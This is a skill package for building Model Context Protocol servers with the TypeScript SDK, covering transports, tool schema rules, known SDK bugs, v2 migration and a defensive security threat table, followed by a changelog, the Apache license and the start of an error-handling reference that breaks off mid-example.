Skill: tenequm/mcp-best-practices (version 0.4.0)

--- name: mcp-best-practices description: Build production MCP servers with the TypeScript SDK. Covers spec 2025-11-25, SDK v1.29+/v2 alpha, transport selection, tool design, error handling, security, performance, known bugs with workarounds, MCP extensions, MCP Apps (interactive UIs), authorization extensions, and the MCP Registry. Use this skill whenever building MCP servers, designing MCP tools, choosing MCP transports, handling MCP errors, migrating to MCP v2, reviewing MCP security, optimizing MCP token usage, building MCP Apps, using MCP extensions, publishing to the MCP Registry, or working with registerTool, McpServer, streamable HTTP, outputSchema, structuredContent, tool annotations, ext-apps, or ext-auth. metadata: version: "0.4.0" upstream: "@modelcontextprotocol/sdk@1.29.0, @modelcontextprotocol/server@2.0.0-alpha.2, @modelcontextprotocol/ext-apps@1.7.2" --- # MCP Best Practices Decision reference for building production MCP servers with the TypeScript SDK. Not a tutorial - assumes you already have a working server and need to make it correct, fast, and secure. ## Quick Reference | Component | Current | Next | |-----------|---------|------| | Spec | **2025-11-25** ([spec.modelcontextprotocol.io](https://spec.modelcontextprotocol.io)) | - | | TS SDK (stable) | **v1.29.0** (`@modelcontextprotocol/sdk`) | v2 alpha published | | TS SDK (v2) | **Alpha** (`2.0.0-alpha.2` on npm, Apr 2026): `/server`, `/client`, `/core`, `/hono`, `/express`, `/node`, `/fastify` | Stable pending; only alpha published | | JSON Schema | **2020-12** default (explicit `$schema` supported) | - | | Transport | **Streamable HTTP** (remote), **stdio** (local) | SSE + WebSocket removed in v2 | | Extensions | **MCP Apps** (Stable, SEP-1865), **Auth Extensions** (official) | Domain-specific WGs | | Registry | **Preview** with v0.1 API freeze since 2025-10-24 ([registry](https://modelcontextprotocol.io/registry/about)) | GA pending | **v1 imports** (production today): ```typescript import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; import { WebStandardStreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/webStandardStreamableHttp.js"; import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; ``` **v2 imports** (when stable): ```typescript import { McpServer } from "@modelcontextprotocol/server"; import { WebStandardStreamableHTTPServerTransport } from "@modelcontextprotocol/server"; ``` ## Server Setup ### Transport Decision | Scenario | Transport | Key Config | |----------|-----------|------------| | Remote, stateless (K8s, CF Workers) | [REDACTED_SECRET] | `sessionIdGenerator: undefined`, `enableJsonResponse: true` | | Remote, stateful (long tasks, SSE) | [REDACTED_SECRET] | `sessionIdGenerator: () => randomUUID()` | | Local CLI / Claude Desktop | `StdioServerTransport` | Default | | Legacy SSE clients | SSE removed in v2 - migrate to Streamable HTTP | - | ### Stateless Pattern (recommended for remote deployment) Per-request server+transport creation is the canonical pattern. Maintainer @ihrpr confirms: "each transport should have an instance of MCPServer" ([#343](https://github.com/modelcontextprotocol/typescript-sdk/issues/343)). Sharing instances leaks cross-client data (GHSA-345p-7cg4-v4c7). ```typescript app.post("/mcp", async (c) => { const server = new McpServer({ name: "my-server", version: "1.0.0" }); // Register tools, resources, prompts... registerTools(server); const transport = new WebStandardStreamableHTTPServerTransport({ sessionIdGenerator: undefined, // stateless - no session tracking enableJsonResponse: true, // JSON responses, no SSE streaming }); // All tools/resources must be registered before connect() (#893) try { await server.connect(transport); return transport.handleRequest(c.req.raw); } finally { await transport.close(); await server.close(); } }); ``` **What to hoist to module level** (don't recreate per request): - Zod schemas (they never change) - Annotation objects (`{ readOnlyHint: true, ... }`) - Tool description strings - Payment configs, upstream API clients The McpServer itself must be per-request, but its constant inputs should not be. > For deep dive on transports, sessions, HTTP/2 gotchas, and K8s deployment: see `references/transport-patterns.md` ### Framework Integration **Hono** (web-standard): ```typescript import { Hono } from "hono"; const app = new Hono(); app.post("/mcp", handleMcpRequest); // WebStandardStreamableHTTPServerTransport app.get("/mcp", handleMcpSse); // Optional: SSE for server notifications app.delete("/mcp", handleMcpDelete); // Optional: session termination ``` **Cloudflare Workers**: Same pattern - [REDACTED_SECRET] works natively in Workers runtime. **Express/Node** (v2): Use `@modelcontextprotocol/express` middleware with [REDACTED_SECRET] (wraps the Web Standard transport for `IncomingMessage`/`ServerResponse`). ## Tool Design ### Registration API **v1 (current stable)** - `server.tool()` works but has ambiguous overloads. Prefer the config-object form when possible: ```typescript server.tool("search_docs", "Search documents", { query: z.string().describe("Search query"), max_results: z.number().optional().describe("Max results (default 20)"), }, { readOnlyHint: true, destructiveHint: false, idempotentHint: true, openWorldHint: true }, async ({ query, max_results }) => { /* handler */ } ); ``` **v2 (migration target)** - `registerTool()` with config object: ```typescript server.registerTool("search_docs", { title: "Document Search", description: "Search documents by keyword or phrase", inputSchema: z.object({ query: z.string().describe("Search query"), max_results: z.number().optional().describe("Max results (default 20)"), }), outputSchema: z.object({ results: z.array(z.object({ id: z.string(), text: z.string() })), has_more: z.boolean(), }), annotations: { readOnlyHint: true, destructiveHint: false, idempotentHint: true, openWorldHint: true }, }, async ({ query, max_results }) => { const result = await fetchDocs(query, max_results); return { structuredContent: result, content: [{ type: "text", text: JSON.stringify(result) }], }; }); ``` ### Naming Spec (2025-11-25): 1-128 chars, case-sensitive. Allowed: `A-Za-z0-9_-.` **DO**: `search_docs`, `get_user_profile`, `admin.tools.list` **DON'T**: `search` (too generic, collides across servers), `Search Docs` (spaces not allowed) Service-prefix your tools (`github_*`, `jira_*`) when multiple servers are active - LLMs confuse generic names across servers. ### Schema Rules `.describe()` on every field - this is what LLMs use for argument generation. > For complete Zod-to-JSON-Schema conversion rules, what breaks silently, outputSchema/structuredContent patterns: see `references/tool-schema-guide.md` **Critical bugs**: - `z.union()` / `z.discriminatedUnion()` silently produce empty schemas on v1.x ([#1643](https://github.com/modelcontextprotocol/typescript-sdk/issues/1643)). The fix landed in the v2 line ([PR #1796](https://github.com/modelcontextprotocol/typescript-sdk/pull/1796)); the v1.x backport ([PR #2017](https://github.com/modelcontextprotocol/typescript-sdk/pull/2017)) is still open, so the bug is present on every released v1 version. Use flat `z.object()` with `z.enum()` discriminator field instead. - Plain JSON Schema objects silently dropped before v1.28.0. Fixed in v1.28 - now throws at registration ([#1596](https://github.com/modelcontextprotocol/typescript-sdk/issues/1596)). - `z.transform()` stripped during conversion - JSON Schema can't represent transforms ([#702](https://github.com/modelcontextprotocol/typescript-sdk/issues/702)). - **Client-side AJV strict-mode rejection**: Zod v4 `z.object()` produces JSON Schema with `additionalProperties: false`. The SDK's client validates `structuredContent` against `outputSchema` with AJV strict mode and rejects extra fields. Server-side `.parse()` strips extras silently, but the original `structuredContent` is sent to the client unchanged - so the server thinks it's fine and the client errors. Fix: explicitly `.parse()` upstream data before assigning to `structuredContent`, or use `.passthrough()` on schemas that intentionally pass through extra fields. ### Annotations All are optional hints (untrusted from untrusted servers per spec): | Annotation | Default | Meaning | |------------|---------|---------| | `readOnlyHint` | `false` | Tool doesn't modify its environment | | `destructiveHint` | `true` | May perform destructive updates (only when readOnly=false) | | `idempotentHint` | `false` | Repeated calls with same args have no additional effect | | `openWorldHint` | `true` | Interacts with external entities (APIs, web) | Set them accurately - clients use them for consent prompts and auto-approval decisions. **Open SEPs expanding annotations**: - `#1913` Trust and Sensitivity - data classification hints - `#1984` Comprehensive annotations for governance/UX - `#1561` `unsafeOutputHint` - output may contain untrusted content - `#1560` `secretHint` - tool handles secrets/credentials - `#1487` `trustedHint` - server attestation of tool trustworthiness **The "Lethal Trifecta"**: Combining (1) access to private data + (2) exposure to untrusted content + (3) external communication ability creates data theft conditions. Researchers demonstrated this with a malicious calendar event, an MCP calendar server, and a code execution tool. Design tool sets to avoid granting all three simultaneously. **Evaluation framework for new annotation proposals**: 1. What client behavior changes? (No concrete action = don't add it) 2. Does it require trust to be useful? (If yes, doesn't help against untrusted servers) 3. Could `_meta` handle it? (Namespaced metadata better for single-deployment needs) 4. Does it help reason about tool combinations? 5. Is it a hint or contract? (Contracts belong in auth/transport/runtime layer) ## Error Handling Two distinct mechanisms with different LLM visibility: | Type | LLM Sees It? | Use For | |------|--------------|---------| | **Tool error** (`isError: true` in CallToolResult) | Yes - enables self-correction | Input validation, API failures, business logic errors | | **Protocol error** (JSON-RPC error response) | Maybe - clients MAY expose | Unknown tool, malformed request, server crash | Per SEP-1303 (merged into spec 2025-11-25): input validation errors MUST be tool execution errors, not protocol errors. The LLM needs to see "date must be in the future" to self-correct. ```typescript // DO: Tool execution error - LLM can self-correct return { isError: true, content: [{ type: "text", text: "Date must be in the future. Current date: 2026-03-25" }], }; // DON'T: Protocol error for validation - LLM can't see this throw new McpError(ErrorCode.InvalidParams, "Invalid date"); ``` **Known SDK behavior**: When the SDK converts an `McpError` thrown from a tool handler into a `CallToolResult`, the `error.data` field is dropped. If you embed structured data in McpError's `data` field, it may not reach the client. The x402/MPP MCP ecosystem standardized on `isError: true` tool results with `structuredContent` for this reason. (One exception: code `-32042` "Payment Required" survives McpServer end-to-end with `error.data` intact - see `references/error-handling.md`.) > For full error taxonomy, code examples, and payment error patterns: see `references/error-handling.md` ## Resources and Instructions ### Server Instructions Set in the initialization response - acts as a system-level hint to the LLM about how to use your server: ```typescript const server = new McpServer({ name: "docs-api", version: "1.0.0", instructions: "Knowledge base API. Use search_docs for full-text search, get_doc for retrieval by ID. All tools are read-only.", }); ``` ### Resource Registration Expose documentation or structured data via `docs://` URI scheme: ```typescript server.resource("search-operators", "docs://search-operators", { title: "Search Operators Guide", description: "Supported search operators and syntax", mimeType: "text/markdown", }, async () => ({ contents: [{ uri: "docs://search-operators", text: operatorsMarkdown }], })); ``` ## Performance ### Module-Level Caching The McpServer must be per-request, but everything else can be shared: ```typescript // Module-level (created once) const SCHEMAS = { search: z.object({ query: z.string().describe("Search query") }), fetch: z.object({ id: z.string().describe("Resource ID") }), }; const READ_ONLY_ANNOTATIONS = { readOnlyHint: true, destructiveHint: false, idempotentHint: true, openWorldHint: true, } as const; // Per-request (created each time) function createMcpServer(ctx: Context) { const server = new McpServer({ name: "my-server", version: "1.0.0" }); server.tool("search", "Search", SCHEMAS.search, READ_ONLY_ANNOTATIONS, handler); return server; } ``` ### Token Bloat Mitigation Tool definitions consume context window before any conversation starts. GitHub MCP: 20,444 tokens for 80 tools (SEP-1576). **Strategies**: 1. **5-15 tools per server** - community sweet spot. Split beyond that. 2. **Outcome-oriented tools** - bundle multi-step operations into single tools (e.g., `track_order(email)` not `get_user` + `list_orders` + `get_status`). 3. **Response granularity** - return curated results, not raw API dumps. 800-token user object vs 20-token summary. 4. **`outputSchema` + `structuredContent`** - lets clients process data programmatically without LLM parsing overhead. 5. **Dynamic tool loading** - register only relevant tool subsets based on request context (e.g., `?tools=search,fetch` query parameter). ### No-Parameter Tools For tools with no inputs, use explicit empty schema: ```typescript inputSchema: { type: "object" as const, additionalProperties: false } ``` ## Security ### Top Threats (real-world incidents, 2025-2026) | Attack | Example | Mitigation | |--------|---------|------------| | **Tool poisoning** | Hidden instructions in descriptions (WhatsApp MCP, Apr 2025) | Review tool descriptions; clients should display them | | **Supply chain** | Malicious npm packages (Smithery breach, Oct 2025) | Pin versions, audit dependencies | | **Command injection** | `child_process.exec` with unsanitized input (CVE-2025-53967) | Never interpolate user input into shell commands | | **Stdio config injection** | User-controlled input reaches `StdioServerParameters` without sanitization (OX Security disclosure, 2026-04-15) | Sanitize stdio config inputs in client code; prefer first-party servers; treat by Anthropic as "by design" - not patched in SDK | | **Cross-server shadowing** | Malicious server overrides legitimate tool names | Service-prefix tool names; validate tool sources | | **Token theft** | Over-privileged PATs with broad scopes | Minimal scopes; OAuth 2.1 Resource Indicators (RFC 8707) | | **Token passthrough** | Server accepts/forwards tokens not issued for it | Validate audience claim; never transit client tokens to upstream APIs | | **SSRF** | Malicious OAuth metadata URLs targeting internal services | HTTPS enforcement, block private IPs, validate redirect targets | | **Confused deputy** | Proxy server consent cookies exploited via DCR | Per-client consent before forwarding to third-party auth | | **Session hijacking** | Stolen/guessed session IDs for impersonation | Cryptographically random IDs, bind to user identity, never use for auth | | **Cross-client response leak** | Shared `McpServer`/transport reused across clients ([CVE-2026-25536](https://nvd.nist.gov/vuln/detail/cve-2026-25536), affects v1.10.0-1.25.3) | **Require SDK ≥ v1.26.0**; per-request server+transport | | **UriTemplate ReDoS** | Malicious URI patterns ([CVE-2026-0621](https://github.com/modelcontextprotocol/typescript-sdk/pull/1365)) | Upgrade to v1.25.2+ / v2.0.0-alpha.1+ | ### Server-Side Requirements (spec normative) - **Validate all inputs** at tool boundaries - **Implement access controls** per user/session - **Rate limit** tool invocations - **Sanitize outputs** before returning to client - **Validate `Origin` header** - respond 403 for invalid origins (2025-11-25 requirement) - **Require `MCP-Protocol-Version` header** on all requests after initialization (spec 2025-06-18+) - **Bind local servers to localhost** (127.0.0.1) only ### Auth (OAuth 2.1) MCP normatively requires **OAuth 2.1** ([draft-ietf-oauth-v2-1-13](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13)). The spec states: "Authorization servers MUST implement OAuth 2.1." PKCE is mandatory, implicit flow is removed. Always build against OAuth 2.1 - not 2.0. MCP servers are OAuth 2.1 Resource Servers. Clients MUST include Resource Indicators (RFC 8707) binding tokens to specific servers. Key requirements: - **Validate audience** - reject tokens not issued for your server (token passthrough is explicitly forbidden) - **PKCE mandatory** - use `S256` code challenge method - **Short-lived tokens** - reduce blast radius of leaked credentials - **Scope minimization** - start with minimal scopes, elevate incrementally via `WWW-Authenticate` challenges - **Don't implement token validation yourself** - use tested libraries (Keycloak, Auth0, etc.) - **Don't log credentials** - never log Authorization headers, tokens, or secrets > For full security attack/mitigation patterns and auth implementation details: see `references/security-auth.md` ## Known SDK Bugs | Issue | Severity | Status | Workaround | |-------|----------|--------|------------| | [#1643](https://github.com/modelcontextprotocol/typescript-sdk/issues/1643) - `z.union()`/`z.discriminatedUnion()` silently dropped | High | Fixed in v2 line ([PR #1796](https://github.com/modelcontextprotocol/typescript-sdk/pull/1796)); v1.x backport [PR #2017](https://github.com/modelcontextprotocol/typescript-sdk/pull/2017) still open | Use flat `z.object()` + `z.enum()` - bug present on all released v1 | | [#1699](https://github.com/modelcontextprotocol/typescript-sdk/issues/1699) - Transport closure stack overflow (15-25+ concurrent) | High | Fixed in PR #1788 (closed 2026-04-02) | Upgrade to ≥ v1.29.0 / v2 alpha | | [#1619](https://github.com/modelcontextprotocol/typescript-sdk/issues/1619) - HTTP/2 + SSE Content-Length error | Medium | Closed (reclassified to upstream `@hono/node-server#266`) | Use `enableJsonResponse: true` or avoid HTTP/2 upstream | | [#893](https://github.com/modelcontextprotocol/typescript-sdk/issues/893) - Dynamic registration after connect blocked | Medium | Open | Register all tools/resources before `connect()` | | [#1596](https://github.com/modelcontextprotocol/typescript-sdk/issues/1596) - Plain JSON Schema silently dropped | Fixed | v1.28.0 | Upgrade to v1.28+ | | Client AJV strict rejects unstripped `structuredContent` extras | High | Behavior, not bug | Server `.parse()` upstream data before returning, or use `.passthrough()` | | GHSA-345p-7cg4-v4c7 / [CVE-2026-25536](https://nvd.nist.gov/vuln/detail/cve-2026-25536) - Shared instances leak cross-client data | Critical | Fixed v1.26.0 | **Require ≥ v1.26.0** (or v2.0.0-alpha.1+); per-request server+transport | | [CVE-2026-0621](https://github.com/modelcontextprotocol/typescript-sdk/pull/1365) - UriTemplate ReDoS | Medium | Fixed v1.25.2 / v2.0.0-alpha.1 | Upgrade | ## V2 Migration > For comprehensive migration guide with all breaking changes and before/after code: see `references/v2-migration.md` **Key breaking changes**: 1. Package split: `@modelcontextprotocol/sdk` -> `@modelcontextprotocol/server` + `/client` + `/core` 2. ESM only, Node.js 20+ 3. Zod v4 required (or any Standard Schema library) 4. `McpError` -> `ProtocolError` (from `@modelcontextprotocol/core`) 5. `extra` parameter -> structured `ctx` with `ctx.mcpReq` 6. `server.tool()` -> `registerTool()` (config object, not positional args) 7. SSE server transport removed (clients can still connect to legacy SSE servers) 8. `@modelcontextprotocol/hono` and `@modelcontextprotocol/express` middleware packages 9. DNS rebinding protection enabled by default for localhost servers v1.x gets 6 more months of support after v2 stable ships. No rush, but write new code with v2 patterns in mind. ## Extensions MCP extensions are optional, strictly additive capabilities on top of the core protocol. Both sides negotiate support during initialization via `extensions` in capabilities. **Identifiers**: `{vendor-prefix}/{extension-name}`. Official: `io.modelcontextprotocol/*`. Third-party: reversed domain (e.g., `com.example/my-ext`). ### Official Extensions | Extension | Identifier | Purpose | |-----------|-----------|---------| | **MCP Apps** | `io.modelcontextprotocol/ui` | Interactive HTML UIs in chat (charts, forms, dashboards) | | **OAuth Client Credentials** | `io.modelcontextprotocol/oauth-client-credentials` | Machine-to-machine auth (CI/CD, daemons, server-to-server) | | **Enterprise-Managed Auth** | `io.modelcontextprotocol/enterprise-managed-authorization` | Centralized access control via enterprise IdP | **Client support**: Claude (web + Desktop), ChatGPT, VS Code Copilot, Goose, Postman, MCPJam all support MCP Apps. Auth extensions not yet widely adopted. > For MCP Apps architecture, ext-apps SDK, and build patterns: see `references/mcp-apps.md` > For extensions system, auth extensions, and MCP Registry: see `references/extensions-registry.md` ### Server Capabilities Beyond Tools | Capability | Purpose | v2 API | |-----------|---------|--------| | **Elicitation** | Request structured user input mid-tool | `ctx.mcpReq.elicitInput()` | | **Sampling** | Request LLM completion from client | `ctx.mcpReq.requestSampling()` | | **Tasks** | Long-running ops with lifecycle management | Official extension (SEP-2663) | | **Progress** | Incremental progress on requests | `ctx.mcpReq.sendProgress()` | **Deprecation / status notice**: [SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577) (final, 2026-05-15) advisory-deprecates **Roots, Sampling, and Logging** - no wire changes, features stay functional for 1+ year, but design new servers without them. **Tasks** moved out of the core `2025-11-25` spec (the experimental `tasks` feature there is removed) into an official extension ([SEP-2663](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2663), final, 2026-05-15): a server may answer `tools/call` with an async task handle the client polls via `tasks/get`, `tasks/update`, `tasks/cancel`.

path: CHANGELOG.md
content: # Changelog

All notable changes to this skill will be documented in this file.

The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this skill adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [Unreleased]

## [0.4.0] - 2026-05-21

### Added
- Advisory-deprecation note for Roots, Sampling, and Logging (SEP-2577, final 2026-05-15) - no wire changes, features stay functional for 1+ year.
- Schema rule: `outputSchema` / nested response objects that forward upstream API data should default to `.passthrough()`; keep `inputSchema` strict.

### Changed
- ext-apps pin 1.7.1 -> 1.7.2 (example/dependency maintenance; no App-class API changes).
- #1643 (`z.union()`/`z.discriminatedUnion()` empty schema): clarified the fix landed in the v2 line (PR #1796); the v1.x backport (PR #2017) is still open, so the bug is present on every released v1 version.
- Resource-not-found error code: spec standardized on `-32602` (SEP-2164, final 2026-05-18); `-32002` is the legacy code clients should still accept. Corrects the earlier "new -32002" wording.
- v2 stable timeline: removed the unreliable "Q3 2026" / contradictory "Q1 2026" dates; only `2.0.0-alpha.2` is published.
- Tasks: SEP-1686 superseded by SEP-2663 (final, 2026-05-15) - Tasks moved out of the core `2025-11-25` spec into an official extension (`tasks/get` / `tasks/update` / `tasks/cancel`).

Verified against: @modelcontextprotocol/sdk@1.29.0, @modelcontextprotocol/server@2.0.0-alpha.2, @modelcontextprotocol/ext-apps@1.7.2

## [0.3.1] - 2026-04-30

### Changed
- Display-name alignment (Wave 2 repo-wide pass); no content changes.

## [0.3.0] - 2026-04-29

### Added
- AJV strict-validation gotcha for `outputSchema` / `structuredContent` (server Zod strips, client AJV rejects unstripped extras), with operational note about cached schemas.
- Path-aware `WWW-Authenticate.resource_metadata` discovery requirement (RFC 9728 / RFC 8414 path-insertion).
- v2 alpha breaking changes: unknown-tool returns JSON-RPC `-32602`; resource-not-found uses new `-32002`; `WebSocketClientTransport` removed; `discoverOAuthServerInfo()` and `AuthProvider` interface in v2 client.
- `@modelcontextprotocol/fastify` middleware adapter to v2 package list.
- ext-apps v1.7.0 surface: `App.registerTool()` / `sendToolListChanged()` (WebMCP-style), `createSamplingMessage`, `allowUnsafeEval` for strict CSP.
- ext-apps SEP-1865 stable status (2026-01-26).
- IETF `-32042` "Payment Required" code (`draft-payment-transport-mcp-00`) as canonical payment-error pattern alongside the ecosystem `isError` convention.
- CVE-2026-0621 (UriTemplate ReDoS) and CVE-2026-25536 (cross-client response leak); minimum SDK `≥ v1.26.0` requirement.
- Stdio-config command-injection warning (OX Security 2026-04-15 disclosure).
- Token-audience pitfalls (collapsed audience, opaque-vs-JWT) commonly hit when wiring Better-Auth / Auth0 to MCP.

### Changed
- TS SDK v1 stable pin: 1.28.0 → 1.29.0.
- v2 status: "pre-alpha on `main`" → "alpha published as `2.0.0-alpha.2`".
- v2 schema rules: any Standard Schema library works (Zod v4, Valibot, ArkType); `zod` dropped from `peerDependencies`; `fromJsonSchema` adapter for raw JSON Schema.
- ext-apps `App` class API names corrected: `app.log` → `sendLog`, `openUrl` → `openLink`, `updateContext` → `updateModelContext`; expanded method list.
- ext-apps `registerAppResource` signature corrected to `(server, name, uri, config, readCallback)`.
- MCP Registry status: "preview, breaking changes possible" → "preview, API freeze v0.1 since 2025-10-24".

### Fixed
- Known SDK Bugs table: #1643 (`z.discriminatedUnion()` empty schema) marked **Fixed on `main`** (closed 2026-03-30); flat-object workaround still useful for v1.x.
- Known SDK Bugs table: #1699 (transport closure stack overflow) marked **Fixed in PR #1788** (closed 2026-04-02).
- Known SDK Bugs table: #1619 (HTTP/2 + SSE Content-Length) marked **Closed** - reclassified as upstream `@hono/node-server#266`.
- Removed incorrect PR #1075 citation for `error.data` loss (that PR is a TS-Go check script); reframed as ecosystem-observed SDK behavior.

### Removed
- Stale "SDK v1 = Zod v3" rule and "Zod v4 Incompatibility (#925)" section - issue closed 2025-11-21; v1.23+ accepts Zod v3 or v4.

Verified against: @modelcontextprotocol/sdk@1.29.0, @modelcontextprotocol/server@2.0.0-alpha.2, @modelcontextprotocol/ext-apps@1.7.1

## [0.2.1] - 2026-04-09
- Initial CHANGELOG; tracking established.


path: LICENSE.txt
content: Apache License
Version 2.0, January 2004
https://www.apache.org/licenses/

TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION

1. Definitions.

"License" shall mean the terms and conditions for use, reproduction, and
distribution as defined by Sections 1 through 9 of this document.

"Licensor" shall mean the copyright owner or entity authorized by the
copyright owner that is granting the License.

"Legal Entity" shall mean the union of the acting entity and all other
entities that control, are controlled by, or are under common control with
that entity. For the purposes of this definition, "control" means (i) the
power, direct or indirect, to cause the direction or management of such
entity, whether by contract or otherwise, or (ii) ownership of fifty percent
(50%) or more of the outstanding shares, or (iii) beneficial ownership of
such entity.

"You" (or "Your") shall mean an individual or Legal Entity exercising
permissions granted by this License.

"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation source, and
configuration files.

"Object" form shall mean any form resulting from mechanical transformation or
translation of a Source form, including but not limited to compiled object
code, generated documentation, and conversions to other media types.

"Work" shall mean the work of authorship, whether in Source or Object form,
made available under the License, as indicated by a copyright notice that is
included in or attached to the work (an example is provided in the Appendix
below).

"Derivative Works" shall mean any work, whether in Source or Object form,
that is based on (or derived from) the Work and for which the editorial
revisions, annotations, elaborations, or other modifications represent, as a
whole, an original work of authorship. For the purposes of this License,
Derivative Works shall not include works that remain separable from, or
merely link (or bind by name) to the interfaces of, the Work and Derivative
Works thereof.

"Contribution" shall mean any work of authorship, including the original
version of the Work and any modifications or additions to that Work or
Derivative Works thereof, that is intentionally submitted to Licensor for
inclusion in the Work by the copyright owner or by an individual or Legal
Entity authorized to submit on behalf of the copyright owner. For the
purposes of this definition, "submitted" means any form of electronic, verbal,
or written communication sent to the Licensor or its representatives,
including but not limited to communication on electronic mailing lists, source
code control systems, and issue tracking systems that are managed by, or on
behalf of, the Licensor for the purpose of discussing and improving the Work,
but excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."

"Contributor" shall mean Licensor and any individual or Legal Entity on
behalf of whom a Contribution has been received by Licensor and subsequently
incorporated within the Work.

2. Grant of Copyright License. Subject to the terms and conditions of this
License, each Contributor hereby grants to You a perpetual, worldwide,
non-exclusive, no-charge, royalty-free, irrevocable copyright license to
reproduce, prepare Derivative Works of, publicly display, publicly perform,
sublicense, and distribute the Work and such Derivative Works in Source or
Object form.

3. Grant of Patent License. Subject to the terms and conditions of this
License, each Contributor hereby grants to You a perpetual, worldwide,
non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this
section) patent license to make, have made, use, offer to sell, sell, import,
and otherwise transfer the Work, where such license applies only to those
patent claims licensable by such Contributor that are necessarily infringed by
their Contribution(s) alone or by combination of their Contribution(s) with
the Work to which such Contribution(s) was submitted. If You institute patent
litigation against any entity (including a cross-claim or counterclaim in a
lawsuit) alleging that the Work or a Contribution incorporated within the Work
constitutes direct or contributory patent infringement, then any patent
licenses granted to You under this License for that Work shall terminate as of
the date such litigation is filed.

4. Redistribution. You may reproduce and distribute copies of the Work or
Derivative Works thereof in any medium, with or without modifications, and in
Source or Object form, provided that You meet the following conditions:

(a) You must give any other recipients of the Work or Derivative Works a copy
of this License; and

(b) You must cause any modified files to carry prominent notices stating that
You changed the files; and

(c) You must retain, in the Source form of any Derivative Works that You
distribute, all copyright, patent, trademark, and attribution notices from
the Source form of the Work, excluding those notices that do not pertain to
any part of the Derivative Works; and

(d) If the Work includes a "NOTICE" text file as part of its distribution,
then any Derivative Works that You distribute must include a readable copy of
the attribution notices contained within such NOTICE file, excluding those
notices that do not pertain to any part of the Derivative Works, in at least
one of the following places: within a NOTICE text file distributed as part of
the Derivative Works; within the Source form or documentation, if provided
along with the Derivative Works; or, within a display generated by the
Derivative Works, if and wherever such third-party notices normally appear.
The contents of the NOTICE file are for informational purposes only and do not
modify the License. You may add Your own attribution notices within Derivative
Works that You distribute, alongside or as an addendum to the NOTICE text from
the Work, provided that such additional attribution notices cannot be
construed as modifying the License.

You may add Your own copyright statement to Your modifications and may provide
additional or different license terms and conditions for use, reproduction, or
distribution of Your modifications, or for any such Derivative Works as a
whole, provided Your use, reproduction, and distribution of the Work otherwise
complies with the conditions stated in this License.

5. Submission of Contributions. Unless You explicitly state otherwise, any
Contribution intentionally submitted for inclusion in the Work by You to the
Licensor shall be under the terms and conditions of this License, without any
additional terms or conditions. Notwithstanding the above, nothing herein
shall supersede or modify the terms of any separate license agreement you may
have executed with Licensor regarding such Contributions.

6. Trademarks. This License does not grant permission to use the trade names,
trademarks, service marks, or product names of the Licensor, except as
required for reasonable and customary use in describing the origin of the Work
and reproducing the content of the NOTICE file.

7. Disclaimer of Warranty. Unless required by applicable law or agreed to in
writing, Licensor provides the Work (and each Contributor provides its
Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied, including, without limitation, any warranties
or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any risks
associated with Your exercise of permissions under this License.

8. Limitation of Liability. In no event and under no legal theory, whether in
tort (including negligence), contract, or otherwise, unless required by
applicable law (such as deliberate and grossly negligent acts) or agreed to in
writing, shall any Contributor be liable to You for damages, including any
direct, indirect, special, incidental, or consequential damages of any
character arising as a result of this License or out of the use or inability to
use the Work (including but not limited to damages for loss of goodwill, work
stoppage, computer failure or malfunction, or any and all other commercial
damages or losses), even if such Contributor has been advised of the
possibility of such damages.

9. Accepting Warranty or Additional Liability. While redistributing the Work
or Derivative Works thereof, You may choose to offer, and charge a fee for,
acceptance of support, warranty, indemnity, or other liability obligations
and/or rights consistent with this License. However, in accepting such
obligations, You may act only on Your own behalf and on Your sole
responsibility, not on behalf of any other Contributor, and only if You agree
to indemnify, defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason of your
accepting any such warranty or additional liability.

END OF TERMS AND CONDITIONS


path: references/error-handling.md
content: # Error Handling

Full error taxonomy, code examples, and patterns for tool errors, protocol errors, and payment integration.

## Table of Contents
- [Error Taxonomy](#error-taxonomy)
- [Tool Execution Errors](#tool-execution-errors)
- [Protocol Errors](#protocol-errors)
- [The error.data Loss Bug](#the-errordata-loss-bug)
- [Error Helper Pattern](#error-helper-pattern)
- [Payment Error Patterns](#payment-error-patterns)

## Error Taxonomy

MCP has two distinct error reporting mechanisms. Choosing the wrong one makes the LLM blind to fixable problems.

| Type | JSON-RPC | LLM Visibility | Self-Correction | Use For |
|------|----------|----------------|-----------------|---------|
| **Tool Execution Error** | `CallToolResult` with `isError: true` | Always (clients SHOULD show) | Yes | Input validation, API failures, business logic, rate limits |
| **Protocol Error** | JSON-RPC error response (`{ error: { code, message } }`) | Maybe (clients MAY show) | No | Unknown tool, malformed request, server crash, capability mismatch |

**The rule** (SEP-1303, merged into spec 2025-11-25): If the LLM could self-correct by seeing the error message, it MUST be a Tool Execution Error. Protocol errors are for structural problems the LLM can't fix.

### SEP-2140 Extension (open proposal)

Extends SEP-1303 to cover three more cases that should also be Tool Execution Errors:
1. **Tool resolution failures** - unknown tool name (currently protocol error)
2. **Tool unavailability** - disabled/policy-restricted tool
3. **Output validation failures** - structuredContent doesn't match outputSchema

Source: [modelcontextprotocol#2140](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/2140)

## Tool Execution Errors

Return `isError: true` in the `CallToolResult`. The content array carries the error message the LLM will see.

### Input Validation

```typescript
async function searchHandler({ query, since }: { query: string; since?: string }) {
  // Validate input - return tool error so LLM can correct
  if (since) {
    const date = new Date(since);
    if (isNaN(date.getTime())) {
      return {
        isError: true,
        content: [{ type: "text", text: `Invalid date format: "${since}". Use ISO format (YYYY-MM-DD).` }],
      };
    }
    if (date > new Date()) {
      return {
        isError: true,
